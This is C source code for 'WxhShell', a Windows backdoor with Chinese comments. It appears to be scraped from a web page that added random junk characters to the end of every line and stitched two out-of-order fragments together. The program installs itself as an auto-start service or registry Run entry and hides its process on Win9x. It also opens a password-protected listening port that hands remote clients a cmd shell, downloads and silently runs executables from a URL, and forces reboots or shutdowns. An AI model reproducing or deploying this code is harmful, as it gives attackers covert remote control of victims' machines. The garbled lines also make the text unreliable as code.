    if(Boot(SHUTDOWN)) ,u g@f-T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EyLuO-5  
    else { l0hlM#  
    closesocket(wsh); i@ BtM9:  
    ExitThread(0); p6WX9\qS(  
    } BX^tR1  
    break; xp9pl[l  
    } - CWywuD  
  // 获取shell uOGw9O-d9  
  case 's': { N"y)Oca{  
    CmdShell(wsh); gGS=cdlV  
    closesocket(wsh); Fr$5RAyg  
    ExitThread(0); _Y[bMuUb=  
    break; pXK^Y'2C!  
  } { buy"X4  
  // 退出 tdaL/rRe  
  case 'x': { -B\HI*u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S/I/-Bp~  
    CloseIt(wsh); |B2+{@R  
    break; HX{`Vah E  
    } * +wW(#[  
  // 离开 Z87|Zl  
  case 'q': { !#" zTj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T${Q.zHY[!  
    closesocket(wsh); Q?/o%`N  
    WSACleanup(); 0nD/;\OU  
    exit(1); vFK<J Sk!  
    break; "v4B5:bmqW  
        } c:u5\&~{  
  } B !=F2  
  } bD8Gwi=iiu  
5lT*hF  
  // 提示信息 D{~fDRR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wuJ4kW$  
} SG4%}wn%  
  } Bn g@-#`/  
s&!a  
  return; >u8gD6X  
} L`EBfz\n  
/_#q@r4ZQ  
// shell模块句柄 Nl(3Xqov  
int CmdShell(SOCKET sock) f:.I0 ST  
{ x7x\Y(@  
STARTUPINFO si; AlW66YAuQ  
ZeroMemory(&si,sizeof(si)); e01epVR;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; om-omo&,X=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5j-YM  
PROCESS_INFORMATION ProcessInfo; g^ i&gNDx  
char cmdline[]="cmd"; p`#R<K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y]u+\y~  
  return 0; `P;s 8~  
} Zdo'{ $  
%\Mo-Ow!\  
// 自身启动模式 gH3vk $WS  
int StartFromService(void) L4|`;WP  
{ v+=BCyT  
typedef struct ~PahoRS  
{ {Wu$YWE*sx  
  DWORD ExitStatus; 2Jmz(cH%  
  DWORD PebBaseAddress; B\:%ufd ~  
  DWORD AffinityMask; Jl9k``r*  
  DWORD BasePriority; A;|D:;x3G  
  ULONG UniqueProcessId; %lGfAYEM=  
  ULONG InheritedFromUniqueProcessId; j;iAD:nf  
}   PROCESS_BASIC_INFORMATION; o"BoZsMk  
{9aE5kR  
PROCNTQSIP NtQueryInformationProcess; 6ez<g Uf  
P&e\)Z|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,47Y9Kz9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^7KH _t8  
a1y-3 z  
  HANDLE             hProcess; t; {F%9j{  
  PROCESS_BASIC_INFORMATION pbi; ^vO+(p  
&wE%<"aRAl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &<U0ZvrsH  
  if(NULL == hInst ) return 0; q,eVjtF  
1.9}_4!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K8.!_ c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nf"r4%M<6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <r`2)[7N  
7 uKY24  
  if (!NtQueryInformationProcess) return 0; !pdb'*,n  
-f>%+<k=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z//+Gw<'  
  if(!hProcess) return 0; P8)=Kbd  
b4ONh%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,1CIBFY  
0C6-GKbZ  
  CloseHandle(hProcess); zZ323pq  
[>%xd)8.c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Yj'oE% \  
if(hProcess==NULL) return 0; 4 bH^":i(  
R1GEh&U{  
HMODULE hMod; }m;,Q9:+m^  
char procName[255]; 2=`o_<P'"  
unsigned long cbNeeded; y6, /:qm  
|NC*7/}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \EtQ5T*u  
emPM4iG?!  
  CloseHandle(hProcess); 474SMx$  
%)I{%~u0  
if(strstr(procName,"services")) return 1; // 以服务启动 <\ :Yk  
{U m)15K  
  return 0; // 注册表启动 4 f'V8|QM{  
} ?fjuh}Q5h  
j<@lX^  
// 主模块 E:}r5S) 4  
int StartWxhshell(LPSTR lpCmdLine) &Ao+X=qw  
{ h+&OQ%e=8  
  SOCKET wsl; j=aI9p  
BOOL val=TRUE; (#RHB`h5  
  int port=0; q~ZNd3O  
  struct sockaddr_in door; ?!cvf{a  
QPg8;O  
  if(wscfg.ws_autoins) Install(); 8a'.ZdqC?  
#32"=MfQn  
port=atoi(lpCmdLine); t@N=kV  
@jSYB+D  
if(port<=0) port=wscfg.ws_port; kDN:ep{/  
72y0/FJ  
  WSADATA data; [@b&? b~K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~r`9+b[9{  
.=;3d~.]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^_u kLzP9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2fR02={-  
  door.sin_family = AF_INET; ,\ k(x>oy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5^lxj~ F  
  door.sin_port = htons(port); u\{ g(li-I  
!0@Yplj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }O^zl#  
closesocket(wsl); }w<7.I  
return 1; Q[pV!CH  
} ^,8)iV0j_  
`t9?=h!  
  if(listen(wsl,2) == INVALID_SOCKET) { O_ DtvjI'  
closesocket(wsl); DhT>']Z  
return 1; n3Z 5t  
} - 'W++tH=  
  Wxhshell(wsl); uv(Sdiir8  
  WSACleanup(); G <f@#[$'  
D+z?wuXk  
return 0; %i-c0|,T4  
GlT7b/JCG  
} 2.zsCu4lj.  
)3w@]5j  
// 以NT服务方式启动 I`LuRl w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `_{`l4i 5  
{ pDcjwlA%  
DWORD   status = 0; DRgTe&+  
  DWORD   specificError = 0xfffffff; !Kj,9NX{U  
M&U j^K1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s,n0jix@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k |%B?\m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k"]dK,,  
  serviceStatus.dwWin32ExitCode     = 0; {v2|g  
  serviceStatus.dwServiceSpecificExitCode = 0; }36QsH8  
  serviceStatus.dwCheckPoint       = 0; <'Wo@N7  
  serviceStatus.dwWaitHint       = 0; &n?^$LTPY  
V8-oYwOR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U1RpLkibQ  
  if (hServiceStatusHandle==0) return; ( %xwl  
d'$T4yA  
status = GetLastError(); c|62jY"$-2  
  if (status!=NO_ERROR) "7V2lu  
{ ;Tc`}2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,o,I5>`  
    serviceStatus.dwCheckPoint       = 0; \y)  
    serviceStatus.dwWaitHint       = 0; q51Uf_\/  
    serviceStatus.dwWin32ExitCode     = status; 2e9es  
    serviceStatus.dwServiceSpecificExitCode = specificError; y+6o{`0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BWuqo  
    return; QC;^xG+W  
  }  KiOcu=F  
^?]%sdT q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a|=x5`h04~  
  serviceStatus.dwCheckPoint       = 0; 3*)ig@e6  
  serviceStatus.dwWaitHint       = 0; GF%314Xu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '07P&g-  
} Yf~{I-|`q  
Ej>g.vp8I  
// 处理NT服务事件,比如:启动、停止 i21Gw41p:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q^L<X)  
{ B0WJ/)rK<  
switch(fdwControl) _b.qkTWUB  
{ 5 Ho^N1q  
case SERVICE_CONTROL_STOP: V6#K2  
  serviceStatus.dwWin32ExitCode = 0; e=;AfK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q)vplV1A  
  serviceStatus.dwCheckPoint   = 0; Nn"+w|v[ev  
  serviceStatus.dwWaitHint     = 0; G 0;XaL:  
  { CL}{mEr}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZMLg;-T.&4  
  } i?:_:"^x  
  return; B7<Kc  
case SERVICE_CONTROL_PAUSE: -!L"')  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Eb>78k(3I)  
  break; 'X !?vK^]p  
case SERVICE_CONTROL_CONTINUE: ;~u{56  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H0R&2#YD  
  break; VZ](uFBY  
case SERVICE_CONTROL_INTERROGATE: A7`1-#  
  break; k`p74MWu  
}; 9Q-*@6G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M7+h(\H]2  
} UNi`P9D]3  
Kmv+1T0,  
// 标准应用程序主函数 {$^DMANDx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mz;[+p  
{ ^ Dt#$Z  
Css l{B  
// 获取操作系统版本 dVo.Czyd  
OsIsNt=GetOsVer(); p6XtTx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JiU9CeD3  
`VL}.h  
  // 从命令行安装 WJ9 cZL  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?EK?b s  
m&iH2|  
  // 下载执行文件 ^F"iP7   
if(wscfg.ws_downexe) {  ?k|H3;\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) la?Wnw  
  WinExec(wscfg.ws_filenam,SW_HIDE); -tI'3oT1  
} k8uvNLA)a  
eD Z8w  
if(!OsIsNt) { V$rlA' +1v  
// 如果时win9x,隐藏进程并且设置为注册表启动 3#45m+D  
HideProc(); TSsKfexQ  
StartWxhshell(lpCmdLine); @b3#X@e}  
} "AhTH.ZP  
else @M8|(N%  
  if(StartFromService()) Z0>DNmH*  
  // 以服务方式启动 =}:)y0L  
  StartServiceCtrlDispatcher(DispatchTable); \S)2  
else =FT98H2*|  
  // 普通方式启动 "A)( "  
  StartWxhshell(lpCmdLine); 'iY*6<xS<  
oejfU;+$  
return 0; ]}6w#)]"  
} vHE^"l5v  
Mf#83 <&K  
AisN@  
:g\rQazxO  
=========================================== oq_6L\ ~  
&X]\)`j0  
CCGV~e+  
N9rBW   
Lh-`OmO0>F  
;|cTHGxbE  
" irZFV  
m3g2b _;  
#include <stdio.h> i o3yLIy,  
#include <string.h> L~^*u_U]  
#include <windows.h> 5')8r ';,  
#include <winsock2.h> DBs*F x[  
#include <winsvc.h> f0LP?]  
#include <urlmon.h> HOp-P8z  
M}hrO-C  
#pragma comment (lib, "Ws2_32.lib") Z_1*YRBY;  
#pragma comment (lib, "urlmon.lib") ro[Y-o5Q0  
KZBrE$@%5  
#define MAX_USER   100 // 最大客户端连接数 ;*[9Q'lI*  
#define BUF_SOCK   200 // sock buffer p=QYc)3F  
#define KEY_BUFF   255 // 输入 buffer <[/%{sUNC  
? QDWuPhN  
#define REBOOT     0   // 重启 U^Tp6vN d  
#define SHUTDOWN   1   // 关机 S|GWcSg  
;bX4(CMe &  
#define DEF_PORT   5000 // 监听端口 jAsO8  
5ZAb]F90  
#define REG_LEN     16   // 注册表键长度 41 vL"P K  
#define SVC_LEN     80   // NT服务名长度 ehAu^^Q>  
qUF1XJZ }z  
// 从dll定义API www`=)A;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |k{-l!HI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XO F1c3'H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8)\M:s~7&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `4CWE_k  
gK3Mms]}m  
// wxhshell配置信息 ;#G%U!p  
struct WSCFG { XDD<oo  
  int ws_port;         // 监听端口 y/@iT8$rp  
  char ws_passstr[REG_LEN]; // 口令  [&P`ak  
  int ws_autoins;       // 安装标记, 1=yes 0=no HpexH{.u)  
  char ws_regname[REG_LEN]; // 注册表键名 fj'j NE  
  char ws_svcname[REG_LEN]; // 服务名 | H ;+1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^`qPs/b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .]}N55M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aP>37s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,c)g,J9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u>Ki$xP1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '?Iif#Z1  
1:= `Y@.S  
}; " B@jfa%  
} IlP:  
// default Wxhshell configuration \T-~JQVj  
struct WSCFG wscfg={DEF_PORT, hGP1(pH.  
    "xuhuanlingzhe", cQFR]i  
    1, 3#<* k>1G?  
    "Wxhshell", [B?z1z8l  
    "Wxhshell", i!MwBYk  
            "WxhShell Service", M>_= "atI  
    "Wrsky Windows CmdShell Service", ]i8c\UV\  
    "Please Input Your Password: ", 04 y!\  
  1, 27#8dV?  
  "http://www.wrsky.com/wxhshell.exe", xKJ>gr"w#  
  "Wxhshell.exe" XSB8z   
    }; Z-|li}lDr  
5z]\$=TE  
// 消息定义模块 <uF [,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ->yeJTsE9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @PcCiGZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < `Z%O<X  
char *msg_ws_ext="\n\rExit."; j.QHkI1.  
char *msg_ws_end="\n\rQuit."; PX3  
char *msg_ws_boot="\n\rReboot..."; WSI Xj5R  
char *msg_ws_poff="\n\rShutdown..."; SQKt}kDbM  
char *msg_ws_down="\n\rSave to "; YlUpASW  
Rk<%r k  
char *msg_ws_err="\n\rErr!"; E5B8 Z?$a  
char *msg_ws_ok="\n\rOK!"; d]M[C[TOX  
 ]R Mb,hJ  
char ExeFile[MAX_PATH]; MtG_9-  
int nUser = 0; =&0U`P$`  
HANDLE handles[MAX_USER]; U4wpjHg  
int OsIsNt; U4_"aT>M y  
7>x;B  
SERVICE_STATUS       serviceStatus; t>U!Zal"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s[-]cHQ  
pVOI5>f\  
// 函数声明 ~Ob8i1S>  
int Install(void); dokuyiN\  
int Uninstall(void); &LU'.jY  
int DownloadFile(char *sURL, SOCKET wsh); `Ei"_W  
int Boot(int flag); z`'P>.x   
void HideProc(void); VBx,iuaw  
int GetOsVer(void); 1!s28C5u  
int Wxhshell(SOCKET wsl); 98<zCSe\]  
void TalkWithClient(void *cs); 2xmT#m  
int CmdShell(SOCKET sock); >RR<eYu7m  
int StartFromService(void); ~R!gJTO9  
int StartWxhshell(LPSTR lpCmdLine); &"j@79Ym1~  
YY!!<2_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xzK>Xi?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~N[|bPRmhE  
{mYx  
// 数据结构和表定义 /;+,mp4  
SERVICE_TABLE_ENTRY DispatchTable[] = .S|-4}G(6  
{ +{xG<Wkltz  
{wscfg.ws_svcname, NTServiceMain}, h>tsis'N9  
{NULL, NULL} a paIJ+^[  
}; )@c3##Zp)  
{Tx 3$eU  
// 自我安装 |Qu_E  
int Install(void) AijUs*n 2  
{ ' PL_~  
  char svExeFile[MAX_PATH]; ype"7p\  
  HKEY key; HWR& C  
  strcpy(svExeFile,ExeFile); T{~MiC6A  
U]j&cFbn5_  
// 如果是win9x系统,修改注册表设为自启动 nh|EZp]  
if(!OsIsNt) { drX4$Kdf]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Isp_U5M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KW:r;BFx  
  RegCloseKey(key); 7xR|_+%~K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9m5bQcV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^8\Y`Z0%  
  RegCloseKey(key); `]LODgk~  
  return 0; g)N54WV  
    } %o-jwr}O{  
  } 165WO}(;/  
} f<=^ 4a  
else { L)G">T;  
eu=|t&FKk  
// 如果是NT以上系统,安装为系统服务 WnO DDr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cqHw^{'8  
if (schSCManager!=0) *p"O*zj  
{ rUvwpP"k  
  SC_HANDLE schService = CreateService |3|wdzV  
  ( YrKFa%k  
  schSCManager, UR\ZN@O  
  wscfg.ws_svcname, 67,3i~  
  wscfg.ws_svcdisp, EUXV/QV{  
  SERVICE_ALL_ACCESS, %g5jY%dg.r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z#@6#S`  
  SERVICE_AUTO_START, (mY(\mu}  
  SERVICE_ERROR_NORMAL, .^GFy   
  svExeFile, 2:n|x5\H  
  NULL, ,iohfZz  
  NULL, XNK 43fkB.  
  NULL, 1y(iE C  
  NULL, 7~lB}$L  
  NULL {z-NlH  
  ); kEx8+2s=M  
  if (schService!=0) dgm+U%E  
  { TR|;,A[%v#  
  CloseServiceHandle(schService); 4=UI3 2v3  
  CloseServiceHandle(schSCManager); j@_nI~7f}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tc5M$b3^2  
  strcat(svExeFile,wscfg.ws_svcname);  Ckw83X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v7g [Lk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7!mJhgGc  
  RegCloseKey(key); 6O%=G3I  
  return 0; 2;O  c^  
    } UVnrDhd!0  
  } .k p $oAL  
  CloseServiceHandle(schSCManager); _82<| NN:  
} Y]?Kqc  
} JPHUmv6  
nO-d" S*  
return 1; AK %=DVkM  
} =tLU]  
~igRg~k:/  
// 自我卸载 M3)v-"  
int Uninstall(void) jDFp31_X  
{ uFMs ^^#  
  HKEY key; $/MY,:*e  
S_`W@cp[  
if(!OsIsNt) { m]E o(P4+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jw%fN!?  
  RegDeleteValue(key,wscfg.ws_regname); jg7d7{{SB  
  RegCloseKey(key); r .{rNR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x0y% \  
  RegDeleteValue(key,wscfg.ws_regname); I4A ;  
  RegCloseKey(key); DIL)7K4  
  return 0; sTJJE3TBI  
  } [))gn  
} qT 5Wa O)  
} [>Ikitow  
else { LqMe'z  
iJ5e1R8tN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :t_}_!~  
if (schSCManager!=0) ?< -wHj)  
{ $z~jnc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bb$S^F(Xq  
  if (schService!=0) *G8'Fjin'T  
  { oBhL}r  
  if(DeleteService(schService)!=0) { &;'w8_K"^  
  CloseServiceHandle(schService); B/kcb(5v  
  CloseServiceHandle(schSCManager); {\ A_%  
  return 0; n5/ZJur  
  } kO /~i  
  CloseServiceHandle(schService); 4da ^d9ZOy  
  } V6A5(-%`y  
  CloseServiceHandle(schSCManager); lqhHbB  
} ABd153oW"  
} l#mqV@?A~  
 ^xBb$  
return 1; wY."Lw> 6  
} cL-6M^!a  
M80}3mgP~  
// 从指定url下载文件 qpH j4  
int DownloadFile(char *sURL, SOCKET wsh) w@<<zItSo  
{ 5%vP~vy_}  
  HRESULT hr; R4hav  
char seps[]= "/"; >$d d 9|[  
char *token; wWp?HDl"M  
char *file; {X{01j};8  
char myURL[MAX_PATH]; #JX|S'\x  
char myFILE[MAX_PATH]; 2b{@]Fp  
A- <.#  
strcpy(myURL,sURL); /v<e$0~s<  
  token=strtok(myURL,seps); ~:'gvR;x  
  while(token!=NULL) s (l+{b &  
  { ]~4}(\u  
    file=token; 0TuNA\Ug+  
  token=strtok(NULL,seps); $~;6hnr m  
  } 0B#rqTEKu  
P,s)2s'nZ  
GetCurrentDirectory(MAX_PATH,myFILE); 6|>"0[4S  
strcat(myFILE, "\\"); ur,V>J<5A  
strcat(myFILE, file); 8trm`?>  
  send(wsh,myFILE,strlen(myFILE),0); bCe[nmE2  
send(wsh,"...",3,0); Qe' PAN=B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3R Y|l?n>  
  if(hr==S_OK) 2/a04qA#  
return 0; C5W-B8>  
else _&8KB1~  
return 1; zmrX %!CW  
&**.naSo  
} O~c+$(  
A `H]q5d  
// 系统电源模块 j$JV(fz  
int Boot(int flag) }K qw\]`  
{ $P1d#;rb%  
  HANDLE hToken; w|3fioLs  
  TOKEN_PRIVILEGES tkp; |\{J` 5gr  
-&HoR!af  
  if(OsIsNt) { `zV-1)=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u8$~N$L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _YD<Q@  
    tkp.PrivilegeCount = 1; Xj(k(>7V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QvyUd%e'5A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y }g6IK}  
if(flag==REBOOT) { oG U.U9~!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PT= 2LZ  
  return 0; h;mQ%9 Yd  
}  T!O3(  
else { LXOF{FG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hPX2 Bp  
  return 0; %'p|JS  
} ygu?w7  
  } '!2  
  else { A`mf 8'nTG  
if(flag==REBOOT) {  _j?=&tc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aO;Q%]VL'  
  return 0; .Jnp{Tet  
} !{|yAt9kP  
else { #|2g{7 g*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  &~f*q?xR  
  return 0; zv3<i (  
} !IrKou)/_  
} <=LsloI  
vzT6G/  
return 1; A?<"^<A^  
} 8Gzs  
_{@}Fd?o  
// win9x进程隐藏模块 (Nve5  
void HideProc(void) 1QdB`8in  
{ j4hUPL7  
,4?|}xg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I.n{ "=$B@  
  if ( hKernel != NULL ) ~(L<uFU V  
  { W(3~F2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qy0_1xT-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);   ]q\=  
    FreeLibrary(hKernel); h;h,dx  
  } PT5ni6  
s(DaPhL6Qm  
return; M<me\s)  
} 5=;I|l,  
^a0 -5  
// 获取操作系统版本 XVK[p=cIL  
int GetOsVer(void) MLDg).5  
{ pJ@DHj2@  
  OSVERSIONINFO winfo; k?*DBXJv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MyS7AL   
  GetVersionEx(&winfo); ur_"m+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MjeI?k}LJ  
  return 1; B7^n30+L  
  else J}`$WL:  
  return 0; TuhL :  
} C{Xk/Er5<  
6P[O8  
// 客户端句柄模块 "VOW V3Z  
int Wxhshell(SOCKET wsl) DT~y^h  
{ OKH~Y-%<  
  SOCKET wsh; 7]+'%Uwu)  
  struct sockaddr_in client; o\Vt $  
  DWORD myID; Hr.JZ>~<  
N`^W*>XB  
  while(nUser<MAX_USER) [[Eu?vQ9R  
{ fP4IOlHkE  
  int nSize=sizeof(client); BN> $LL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9MlfZsby  
  if(wsh==INVALID_SOCKET) return 1; NNrZb?  
9YsO+7[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %>}7 $Y%  
if(handles[nUser]==0) 1OGv+b)  
  closesocket(wsh); kj"_Y"q=  
else z.F+$6  
  nUser++; #]hkQo  
  } gKH"f%lK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +as\>"Cj+2  
uS10P7N}  
  return 0; \.-y LS.  
} xRZT  
:jp$X|  
// 关闭 socket /hy!8c7  
void CloseIt(SOCKET wsh) N= q29JU  
{ .j@n6RyN  
closesocket(wsh); @(5RAYRV  
nUser--; m<HjL  
ExitThread(0); G U/k^ Qy  
} Cjb p-  
bWzc=03  
// 客户端请求句柄 cB'4{R@e  
void TalkWithClient(void *cs) /9^0YC;Y*  
{ 1;9E*=  
 JS.' v7  
  SOCKET wsh=(SOCKET)cs; aWK7 -n  
  char pwd[SVC_LEN]; KFrmH  
  char cmd[KEY_BUFF]; \) ONy9  
char chr[1]; {.)~4.LhQM  
int i,j; DcM+K@1E4^  
R')GQ.yYq  
  while (nUser < MAX_USER) { *qOCo_=P8  
1j-i nj`  
if(wscfg.ws_passstr) { Q&\ksM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AR2+W^aM3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g9Qxf%}  
  //ZeroMemory(pwd,KEY_BUFF); I!#^F 1p1  
      i=0; 30-w TcG  
  while(i<SVC_LEN) { t`D@bzLC%  
XfDQx!gJ  
  // 设置超时 QVhBHAw  
  fd_set FdRead; M|u5Vs1  
  struct timeval TimeOut; U7'oI;C$e  
  FD_ZERO(&FdRead); P"VLGa  
  FD_SET(wsh,&FdRead); AV`7> @  
  TimeOut.tv_sec=8; |"*:ZSj  
  TimeOut.tv_usec=0; OH~qJ <  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PQay sdb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~1!kU 4  
CK#PxT?"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lO@Ba;x  
  pwd=chr[0]; "61n?Z#,M[  
  if(chr[0]==0xd || chr[0]==0xa) { $~\qoW<  
  pwd=0; t:n|0G(  
  break; +t6m>IBu  
  } p0@mumh  
  i++; ,~w)@.  
    } T!E LH!  
/PS]AM  
  // 如果是非法用户,关闭 socket zYJxoC{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9(]j e4Cn  
} |e(x< [s5  
XcneH jpR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +?'acn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |U0@(H  
\rO>F E  
while(1) { ttRH[[E(  
14zzWzKx  
  ZeroMemory(cmd,KEY_BUFF); } 4^UVdz  
V&85<Y%Nl|  
      // 自动支持客户端 telnet标准   )2hoO_l:  
  j=0; n&JP/P3Y  
  while(j<KEY_BUFF) { <GEn9;\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); upKrr  
  cmd[j]=chr[0]; \aozecpC`  
  if(chr[0]==0xa || chr[0]==0xd) { aT[7L9Cw  
  cmd[j]=0; }(6k7{,Gw,  
  break; p:))ne:7  
  } p^!p7B`qe.  
  j++; c9 c Nlp  
    } N<%,3W_-_  
n!nv.-n  
  // 下载文件 $4]PN2d&  
  if(strstr(cmd,"http://")) { :4d7%q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QJ?!_2Ax  
  if(DownloadFile(cmd,wsh)) r Y.:}D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYvm_t9  
  else ?i"FdpW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @YELqUb*  
  } MN4}y5  
  else { *q BZi;1  
hW&UG#PY>  
    switch(cmd[0]) { 95/C4q  
